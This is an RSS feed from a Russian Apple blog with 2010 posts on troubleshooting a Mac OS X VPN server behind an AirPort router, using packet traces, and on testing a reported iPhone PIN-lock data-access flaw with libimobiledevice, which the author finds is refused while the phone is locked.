<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Apple Geek &#187; security</title>
	<atom:link href="http://theapplegeek.ru/archives/tag/security/feed" rel="self" type="application/rss+xml" />
	<link>http://theapplegeek.ru</link>
	<description>Чему ты научился сегодня?</description>
	<lastBuildDate>Fri, 30 Jul 2010 13:48:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Несовместимость L2TP VPN-сервера и Back To My Mac на одной системе</title>
		<link>http://theapplegeek.ru/archives/4139</link>
		<comments>http://theapplegeek.ru/archives/4139#comments</comments>
		<pubDate>Wed, 07 Jul 2010 11:42:37 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=4139</guid>
		<description><![CDATA[Вчера я упомянул, что на VPN-сервере (Mac OS X) нельзя настроить одновременно L2TP VPN Server и Back To My Mac. Подтвержу это скриншотами. Back To My Mac выключен: Соединение устанавливается: Но если Back To My Mac включен: То соединение не устанавливается: Это единственное изменение, которое я проводил. В документации Apple сказано: If you wish to [...]]]></description>
			<content:encoded><![CDATA[<p>Вчера я <a href="http://theapplegeek.ru/archives/4130" >упомянул</a>, что на VPN-сервере (Mac OS X) нельзя настроить одновременно L2TP VPN Server и Back To My Mac. Подтвержу это скриншотами.</p>
<p>Back To My Mac выключен:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/01_l2tpp-full.png"  class="image-link" rel="lightbox[4139]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/01_l2tpp-thumb.png" height="170" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><span id="more-4139"></span></p>
<p>Соединение устанавливается:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/02_l2tpp-full.png"  class="image-link" rel="lightbox[4139]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/02_l2tpp-thumb.png" height="480" width="320" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Но если Back To My Mac включен:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/03_l2tpp-full.png"  class="image-link" rel="lightbox[4139]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/03_l2tpp-thumb.png" height="176" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>То соединение не устанавливается:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/04_l2tpp-full.png"  class="image-link" rel="lightbox[4139]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/04_l2tpp-thumb.png" height="480" width="320" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Это единственное изменение, которое я проводил.</p>
<p>В <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://support.apple.com/kb/HT3944" >документации</a></noindex> Apple сказано:</p>
<blockquote>
<p>If you wish to enable NAT port forwarding to L2TP VPN servers at private addresses on your AirPort Extreme or Time Capsule network, first ensure that MobileMe is disabled in AirPort Utility. If you configure NAT port forwarding to L2TP VPN servers at private addresses with MobileMe enabled, the setting for port forwarding to the servers will be ignored.&#8221;</p>
</blockquote>
<p>Если вам нужен и Back to My Mac, и VPN-сервер, то используйте PPTP VPN. Хоть он и менее безопасный, но он работает в такой конфигурации.</p>
<p>Немного деталей. Вот процесс установки соединения без Back To My Mac:</p>
<pre>
<small>45.599012 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
45.601468 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
46.058368 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
46.069876 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
46.438942 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
46.439629 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
47.738940 109.162.11.133 -> 192.168.98.2 ISAKMP Quick Mode
47.741256 192.168.98.2 -> 109.162.11.133 ISAKMP Quick Mode
47.938956 109.162.11.133 -> 192.168.98.2 ISAKMP Quick Mode
48.177831 109.162.11.133 -> 192.168.98.2 ESP ESP (SPI=0x0c380875)
48.200824 192.168.98.2 -> 109.162.11.133 ESP ESP (SPI=0x0d034052)
...
50.379150 192.168.98.2 -> 109.162.11.133 ESP ESP (SPI=0x0d034052)
50.417807 109.162.11.133 -> 192.168.98.2 ESP ESP (SPI=0x0c380875)
52.650222 192.168.98.2 -> 109.162.11.133 ISAKMP Informational
53.650658 192.168.98.2 -> 109.162.11.133 ISAKMP Informational</small>
</pre>
<p>А вот &#8211; с ним:</p>
<pre>
<small> 5.492165 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
 8.492130 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
11.475359 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
14.532159 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)</small>
</pre>
<p>При включении Back To My Mac производится маппинг портов 5353 и 4500 в запросах NAT-PMP Map UDP Request, поэтому L2TP-сервер не может обслуживать запросы, идущие на порт 4500 (IKE NAT Traversal), и в итоге соединение не устанавливается.</p>
<p>Напоследок приведу трейсы при включении и отключении Back To My Mac.</p>
<p>Включаю Back To My Mac</p>
<pre>
<small> 28.815152 192.168.98.2 -> 109.162.11.133 UDPENCAP NAT-keepalive
 33.488924 192.168.98.2 -> 192.168.98.1 NAT-PMP External Address Request
	NAT Port Mapping Protocol, External Address Request
	    Version: 0
	    Opcode: External Address Request (0)

 33.489063 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.489094 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	NAT Port Mapping Protocol, Map UDP Request
	    Version: 0
	    Opcode: Map UDP Request (1)
	    Reserved: 0
	    Internal Port: 5353
	    Requested External Port: 5353
	    Requested Port Mapping Lifetime: 7200

 33.489109 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANPPPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.489134 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	NAT Port Mapping Protocol, Map UDP Request
	    Version: 0
	    Opcode: Map UDP Request (1)
	    Reserved: 0
	    Internal Port: 4500
	    Requested External Port: 4500
	    Requested Port Mapping Lifetime: 7200

 33.489148 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.493555 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 33.493559 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 33.493723 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 	Destination port: ssdp (1900)

 33.493962 192.168.98.1 -> 192.168.98.2 NAT-PMP External Address Response
    Version: 0
    Opcode: External Address Response (128)
    Result Code: Success (0)
    Seconds Since Start of Epoch: 13283
    External IP Address: 111.222.111.222 (111.222.111.222)

 33.502106 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	 Version: 0
	 Opcode: Map UDP Response (129)
	 Result Code: Success (0)
	 Seconds Since Start of Epoch: 13283
	 Internal Port: 5353
	 Mapped External Port: 32773
	 Port Mapping Lifetime: 7200

 33.510384 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	 Version: 0
	 Opcode: Map UDP Response (129)
	 Result Code: Success (0)
	 Seconds Since Start of Epoch: 13283
	 Internal Port: 4500
	 Mapped External Port: 32774
	 Port Mapping Lifetime: 7200</small>
</pre>
<p>Отключаю Back To My Mac</p>
<pre>
<small>  3.936568 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	  Version: 0
	  Opcode: Map UDP Request (1)
	  Reserved: 0
	  Internal Port: 4500
	  Requested External Port: 32774
	  Requested Port Mapping Lifetime: 0

  3.936664 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	  M-SEARCH * HTTP/1.1\r\n
	      [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	          [Message: M-SEARCH * HTTP/1.1\r\n]
	          [Severity level: Chat]
	          [Group: Sequence]
	      Request Method: M-SEARCH
	      Request URI: *
	      Request Version: HTTP/1.1
	  Host:239.255.255.250:1900\r\n
	  ST:urn:schemas-upnp-org:service:WANPPPConnection:1\r\n
	  Man:"ssdp:discover"\r\n
	  MX:3\r\n
	  \r\n

  3.938951 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
	Destination port: ssdp (1900)
  3.943055 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	  Version: 0
	  Opcode: Map UDP Response (129)
	  Result Code: Success (0)
	  Seconds Since Start of Epoch: 13310
	  Internal Port: 4500
	  Mapped External Port: 32774
	  Port Mapping Lifetime: 0

  6.038227 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	  Version: 0
	  Opcode: Map UDP Request (1)
	  Reserved: 0
	  Internal Port: 5353
	  Requested External Port: 32773
	  Requested Port Mapping Lifetime: 0

  6.038303 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	  M-SEARCH * HTTP/1.1\r\n
	      [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	          [Message: M-SEARCH * HTTP/1.1\r\n]
	          [Severity level: Chat]
	          [Group: Sequence]
	      Request Method: M-SEARCH
	      Request URI: *
	      Request Version: HTTP/1.1
	  Host:239.255.255.250:1900\r\n
	  ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	  Man:"ssdp:discover"\r\n
	  MX:3\r\n
	  \r\n

  6.040599 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
  	Destination port: ssdp (1900)

  6.043605 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	  Version: 0
	  Opcode: Map UDP Response (129)
	  Result Code: Success (0)
	  Seconds Since Start of Epoch: 13310
	  Internal Port: 5353
	  Mapped External Port: 32773
	  Port Mapping Lifetime: 0</small>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/4139/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>VPN-сервер в локальной сети за AirPort Express. Настройка Port Mapping</title>
		<link>http://theapplegeek.ru/archives/4130</link>
		<comments>http://theapplegeek.ru/archives/4130#comments</comments>
		<pubDate>Tue, 06 Jul 2010 13:09:18 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=4130</guid>
		<description><![CDATA[Администраторам часто приходится работать с серверами удалённо, как по ssh, так и по VNC/RDP/Screen Sharing/Remote Management. Можно открывать прямой доступ к нужным сервисам, полагаясь на пароли. Можно улучшать безопасность, разрешая доступ на брендмауерах только с определённых доверенных хостов и категорически не допускать внесения в этот список сетей по принципу &#8220;Ага, Yota. Ага, у них блок [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2010/07/01_vpn-thumb1.png" height="200" align="right" width="200" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Администраторам часто приходится работать с серверами удалённо, как по ssh, так и по VNC/RDP/Screen Sharing/Remote Management.<br />
Можно открывать прямой доступ к нужным сервисам, полагаясь на пароли. Можно улучшать безопасность, разрешая доступ на брендмауерах только с определённых доверенных хостов и категорически не допускать внесения в этот список сетей по принципу &#8220;Ага, Yota. Ага, у них блок /18. Ага, администратор пользуется Yota. Ага, разрешим доступ со всего блока /18&#8243; (к сожалению, в этом блоке есть сотни зараженных хостов, которые сканируют всё окружающее на предмет дыр, а от дыр не застрахован никто).</p>
<p>Но можно построить составную политику безопасности &#8211; для доступа в сеть использовать VPN-шлюз, а уже через VPN можно получить доступ к нужным ресурсам. Это и удобно &#8211; доступ можно разрешить из публичного Интернет, и достаточно безопасно при условии нормальной политики паролей.</p>
<p><span id="more-4130"></span></p>
<p>В своей лаборатории я использую Mac OS X Server, на котором решил проверить вопросы, возникающие при реализации такой схемы. В Mac OS X Server VPN-сервер встроен и управляется через GUI. Вы также можете вручную настроить VPN-сервер на Mac OS X по статье Павла Цибулина &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.papasha.kiev.ua/2010/01/snow-leopard-as-vpn-server.html" >Snow Leopard as VPN server</a></noindex>&#8220;.</p>
<p>Конфигурация сети такова:</p>
<ul>
<li>доступ в Интернет из локальной сети обеспечивается WiFi-маршрутизатором через NAT</li>
<li>в локальной сети стоит VPN-сервер на Mac OS X Server 10.6</li>
<li>нужно получить доступ из публичного Internet в локальную сеть через VPN-сервер</li>
</ul>
<p>На первый взгляд всё просто &#8211; настраиваешь проброс нужных портов с внешнего интерфейса WiFi-маршрутизаторе на VPN-сервер и пользуешься. Но реальная жизнь всегда сложнее.</p>
<p>У меня стоит <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.linksysbycisco.com/EU/en/products/WRT610N/" >Linksys WRT610n v1</a></noindex> (с последней официальной прошивкой). В нём можно описать один хост из локальной сети как хост из DMZ, и все запросы на внешний адрес WiFi-маршрутизатора будут передаваться автоматически на этот хост. Сделал &#8211; глухо. Ни PPTP, ни L2TP не заработали, в логах были попытки, но дальше LCP ничего не шло, и соединение не устанавливалось. При попытке соединения из локальной сети VPN поднимался без вопросов. Вывод &#8211; причина в маршрутизаторе.</p>
<p>Решил зайти с другой стороны и явно разрешить используемые порты &#8211; аналогичная картина.</p>
<p>И тут я вспомнил, что давно хотел купить для лаборатории AirPort Express (предварительно найдя информацию, что интересующая меня схема возможна). Сказано &#8211; сделано. Зашёл в <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://store.iland.ua/index.php?main_page=product_info&#038;cPath=3_27&#038;products_id=94" >iLand</a></noindex> (Киев), пообщался с приятными людьми, повосхищался iPhone4, и вышел с AirPort Express.</p>
<p>Настроил точку, открыл нужные порты согласно документа &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://support.apple.com/kb/ts1629" >&#8220;Well known&#8221; TCP and UDP ports used by Apple software products</a></noindex>&#8220;:</p>
<table width="100%" cellspacing="0" border="0" id="kbtable">
<tbody>
<tr valign="top" id="header">
<td width="60"><b>Port</b></td>
<td width="75"><b>TCP or UDP</b></td>
<td width="160"><b>Service or Protocol Name</b></td>
<td width="60"><b>RFC</b></td>
<td width="325"><b>Used by / Additional information</b></td>
</tr>
<tr valign="top">
<td><strong>500</strong></td>
<td>UDP</td>
<td>ISAKMP/IKE</td>
<td>-</td>
<td>Mac OS X Server VPN service, Back to My Mac (MobileMe, Mac OS X v10.5 or later).</td>
</tr>
<tr valign="top" id="even">
<td><strong>1701</strong></td>
<td>UDP</td>
<td>L2TP</td>
<td>-</td>
<td>Mac OS X Server VPN service</td>
</tr>
<tr valign="top">
<td><strong>1723</strong></td>
<td>TCP</td>
<td>PPTP</td>
<td>-</td>
<td>Mac OS X Server VPN service</td>
</tr>
<tr valign="top" id="even">
<td><strong>4500</strong></td>
<td>UDP</td>
<td>IKE NAT Traversal</td>
<td>-</td>
<td>Mac OS X Server VPN service, Back to My Mac (MobileMe, Mac OS X v10.5 or later).<br />
<strong>Note</strong>: VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence.
            </td>
</tr>
</tbody>
</table>
<p>Конфигурация AirPort выглядит так:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/02_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/02_vpn-thumb.png" height="392" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Детали по портам:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/03_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/03_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/04_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/04_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/05_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/05_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/06_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/06_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Само собой, для VPN-сервера настроена выдача статического адреса по DHCP:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/07_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/07_vpn-thumb.png" height="423" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>VPN-сервер у меня уже настроен (и L2TP, и PPTP). Были, конечно, некоторые проблемы &#8211; не всё так быстро происходит, как пишется. Они были связаны именно с L2TP &#8211; PPTP заработал сразу.</p>
<p>Но после вчитывания в фразу &#8220;VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence&#8221; и многократного запуска <a href="http://theapplegeek.ru/archives/431" >tshark</a> я отключил на сервере &#8220;Back to My Mac&#8221;. После чего всё заработало (и PPTP, и L2TP):</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/08_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/08_vpn-thumb.png" height="480" width="320" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Особенность &#8211; при настройке PPTP нужно указать &#8220;Encryption Level = Auto&#8221;.</p>
<p>Есть и другие вопросы (динамическая выдача маршрутов на нужные сети, маршрутизация, фильтрация), но об этом напишу в другой раз.</p>
<p>P.S. Маршрутизатор Linksys WRT610n v1 остался не у дел. Попробовал поставить прошивку dd-wrt, но радиочасть не захотела включаться. Откатился обратно. Да и что-то у меня нет желания возиться со странными неофициальными прошивками &#8211; Apple меня развратил красотой решений. А вот AirPort Express я очень доволен. Сейчас воткнул в него наушники и транслирую музыку с ноутбука. Благодать.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/4130/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Возможно ли получить доступ к данным заблокированного PIN-кодом iPhone из Linux?</title>
		<link>http://theapplegeek.ru/archives/3927</link>
		<comments>http://theapplegeek.ru/archives/3927#comments</comments>
		<pubDate>Thu, 03 Jun 2010 11:12:24 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[iPhone]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=3927</guid>
		<description><![CDATA[Сегодня наткнулся на обсуждение в ru_mac о безопасности данных на iPhone, вызванная возможностью получения доступа ко всем данным на Linux через библиотеку libimobiledevice. Всё было бы не так грустно, если бы в определённых случаях нельзя было бы получить доступ к iPhone, который заблокирован с помощью PIN-кода (PIN на вход в систему, к PIN-коду SIM-карты это [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2010/06/01_iphoneh-thumb1.jpg" height="240" align="right" width="160" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Сегодня наткнулся на обсуждение в ru_mac <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://community.livejournal.com/ru_mac/15172616.html" >о безопасности данных на iPhone</a></noindex>, вызванная возможностью получения доступа ко всем данным на Linux через библиотеку libimobiledevice. Всё было бы не так грустно, если бы в определённых случаях нельзя было бы получить доступ к iPhone, который заблокирован с помощью PIN-кода (PIN на вход в систему, к PIN-коду SIM-карты это не имеет отношения). Описание уязвимости я прочитал 28.05.2010 в статье &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.macworld.com/article/151639/2010/05/iphone_pin_security.html?lsrc=rss_main" >iPhone security flaw: Using a PIN won&#8217;t help you</a></noindex>&#8220;, но только сейчас решил её проверить.</p>
<p>Развитие подобных тем очень предсказуемо. Появляется информация об уязвимости, какое-то время все её обсуждают, проверяют, и приходят к выводу, что всё в порядке. Затем через пару недель подключаются журналисты, которые на основании &#8220;исследований британских исследователей из британского исследовательского института&#8221; подымают панику начиная от газет, заканчивая телевидением. Мда&#8230;</p>
<p><span id="more-3927"></span></p>
<p>Забегая наперёд скажу, что уже 02.06.2010 <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://blog.sukimashita.com/2010/05/29/passcode-security-flaw-update-its-a-bug-in-the-iphone-os-not-a-hack-of-ubuntulinux/" >было установлено</a></noindex>:</p>
<blockquote>
<p>It appears the issue only applies if you switch the device off during an “unlocked” state (thus you entered the passcode already and see the icons) but not if you power it down while it requests you to enter a passcode making this whole mess less dramatic…</p>
</blockquote>
<p>&#8220;Определённые случаи&#8221;, которые подвержены проблеме, это телефоны, на которых был включен PIN-код, но они после этого не перезагружались (я никогда не перезагружался после этой операции, согласитесь, что это явная проблема в iPhone OS).</p>
<p><b>Таким образом, если вы не хотите, чтобы к вашим данным могли получить доступ злоумышленники, умыкнувшие iPhone, установить PIN и перезагрузитесь.</b></p>
<p>Но вернёмся к теме. 21.03.2010 вышел релиз <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.libimobiledevice.org/" >libimobiledevice и ifuse</a></noindex>, использование которых сделало возможным работать с iPhone, iPod Touch и затем с iPad (когда он вышел). Продемонстрирую, как их использовать на примере Ubuntu Linux 10.04 и iPhone 3Gs 3.1.3. Я использовал информацию, приведённую в статье &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://marcansoft.com/blog/2009/10/iphone-syncing-on-linux-part-2/" >iPhone syncing on Linux</a></noindex>&#8220;.</p>
<p>Подчёркиваю &#8211; все операции проводим на Ubuntu Linux, не на Mac&#8217;е.</p>
<p>Ставим нужные библиотеки и утилиты (libgpod4 и gtkpod особо не нужны, поставил за компанию):</p>
<pre>
$ sudo aptitude install libimobiledevice-utils libimobiledevice-doc
$ sudo aptitude install libplist-dev libplist-utils
$ sudo aptitude install ifuse
$ sudo aptitude install libgpod4
$ sudo aptitude install gtkpod
</pre>
<p>Мой iPhone перезагружался несколько раз после установки PIN&#8217;а, но меня как раз интересовало, можно ли получить доступ при включенном PIN. Я не искал, где записывается информация о &#8220;спаривании&#8221; телефона с Linux, если найду, то проверю утверждение насчёт подверженности именно неперезагруженых iPhone после установки PIN.</p>
<p>Телефон залочен. Пытаюсь примонтировать его &#8211; ответ отрицательный, ни получить информацию, ни примонтировать телефон нельзя:</p>
<pre>
$ mkdir ~/tmp/iphone
$ ideviceinfo
$ ifuse ~/tmp/iphone
<small>Please disable the password protection on your device and try again.
The device does not allow pairing as long as a password has been set.
You can enable it again after the connection succeeded.</small>
</pre>
<p>Ввожу PIN. Теперь всё доступно:</p>
<pre>
$ ideviceinfo
<small>ActivationPublicKey: ...
ActivationState: WildcardActivated
ActivationStateAcknowledged: true
BasebandBootloaderVersion: 6.4_M3S2
BasebandSerialNumber: 0a49987a4a145d057fc4cccc
BasebandVersion: 05.12.01
BluetoothAddress: 04:1e:64:cc:cc:cc
BuildVersion: 7E18
CPUArchitecture: armv7
...
DeviceClass: iPhone
DeviceName: ole_iphone
...</small>
</pre>
<p>Монтирую:</p>
<pre>
$ ifuse ~/tmp/iphone
$ ls -al tmp/iphone/
<small>drwxr-xr-x  2 ole ole   68 2010-05-26 15:36 ApplicationArchives
-rw-r--r--  1 ole ole    0 2010-03-21 16:06 com.apple.itdbprep.postprocess.lock
-rw-r--r--  1 ole ole    0 2010-03-21 16:06 com.apple.itunes.lock_sync
drwxr-xr-x  4 ole ole  204 2010-03-21 16:09 DCIM
drwxr-xr-x  2 ole ole  102 2010-06-02 02:06 Downloads
drwxr-xr-x  2 ole ole  102 2010-04-05 20:45 iPhoneDrive
drwxr-xr-x  7 ole ole  238 2010-03-21 16:19 iTunes_Control
drwxr-xr-x  3 ole ole  170 2010-06-03 10:53 Photos
drwxr-xr-x  2 ole ole   68 2010-03-21 16:06 Podcasts
drwxr-xr-x  2 ole ole   68 2010-06-02 17:03 PublicStaging
drwxr-xr-x  2 ole ole   68 2010-03-21 16:06 Purchases
drwxr-xr-x  2 ole ole  238 2010-03-28 14:35 Recordings
drwxr-xr-x  2 ole ole  136 2010-06-03 10:53 Safari</small>
</pre>
<p>Можно также получить расширенную информацию по iTunes для синхронизации (меня это слабо интересует). Получаю device_id, генерирую файл:</p>
<pre>
$ idevice_id -l
<small>b17056e12f05292e258f015c47d2b6a543cccccc</small>
$ ipod-read-sysinfo-extended b17056e12f05292e258f015c47d2b6a543cccccc ~/tmp/iphone
$ ls -al ~/tmp/iphone/iTunes_Control/Device/SysInfoExtended
-rw-r--r-- 1 ole ole 24682 2010-06-03 11:58 /home/ole/tmp/iphone/iTunes_Control/Device/SysInfoExtended
</pre>
<p>Размонтирование:</p>
<pre>
$ fusermount -u ~/tmp/iphone
</pre>
<p>Телефон уже &#8220;спарован&#8221;, поэтому на этой же рабочей станции для получения доступа к содержимому вводить PIN-код уже не нужно.</p>
<p><b>Но для &#8220;закрепления&#8221; уверенности я повторил те же самые шаги на другой рабочей станции с Ubuntu 10.04. Всё аналогично &#8211; без ввода PIN-кода получить доступ к данным нельзя:</b></p>
<pre>
$ ifuse ~/tmp/iphone
<b>Please disable the password protection on your device and try again.
The device does not allow pairing as long as a password has been set.
You can enable it again after the connection succeeded.</b>
</pre>
<p>Резюмирую &#8211; скорее всего ошибка в iPhone OS есть, но если после настройки PIN-кода вы перезагрузите iPhone, то маловероятно, что злоумышленники получат доступ к вашим данным. К моему телефону без знания PIN&#8217;а получить доступ мне не удалось.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/3927/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Туннелирование SSH через HTTP-прокси (corkscrew)</title>
		<link>http://theapplegeek.ru/archives/3817</link>
		<comments>http://theapplegeek.ru/archives/3817#comments</comments>
		<pubDate>Thu, 13 May 2010 10:07:21 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssh]]></category>

